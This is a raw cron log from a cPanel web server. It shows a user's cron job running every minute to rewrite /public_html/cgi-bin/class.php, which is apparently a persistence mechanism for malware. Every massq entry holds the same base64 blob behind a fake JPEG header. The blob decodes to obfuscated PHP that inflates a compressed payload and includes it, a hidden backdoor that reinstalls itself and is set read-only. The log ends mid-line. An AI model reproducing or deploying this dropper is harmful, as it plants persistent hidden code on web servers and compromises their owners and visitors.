Nov 15 19:35:01 server CROND[21778]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:36:01 server CROND[22101]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:37:01 server CROND[22361]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:38:01 server CROND[22713]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:39:01 server CROND[22976]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:39:01 server CROND[22977]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 19:40:01 server CROND[23243]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 19:40:01 server CROND[23244]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 19:40:01 server CROND[23245]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:40:01 server CROND[23246]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 19:41:01 server CROND[23564]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:42:01 server CROND[23836]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:42:01 server CROND[23837]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 19:43:01 server CROND[24080]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:44:01 server CROND[24446]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:45:01 server CROND[24703]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 19:45:01 server CROND[24704]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 19:45:01 server CROND[24705]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:46:01 server CROND[25022]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:47:01 server CROND[25277]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:48:01 server CROND[25531]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 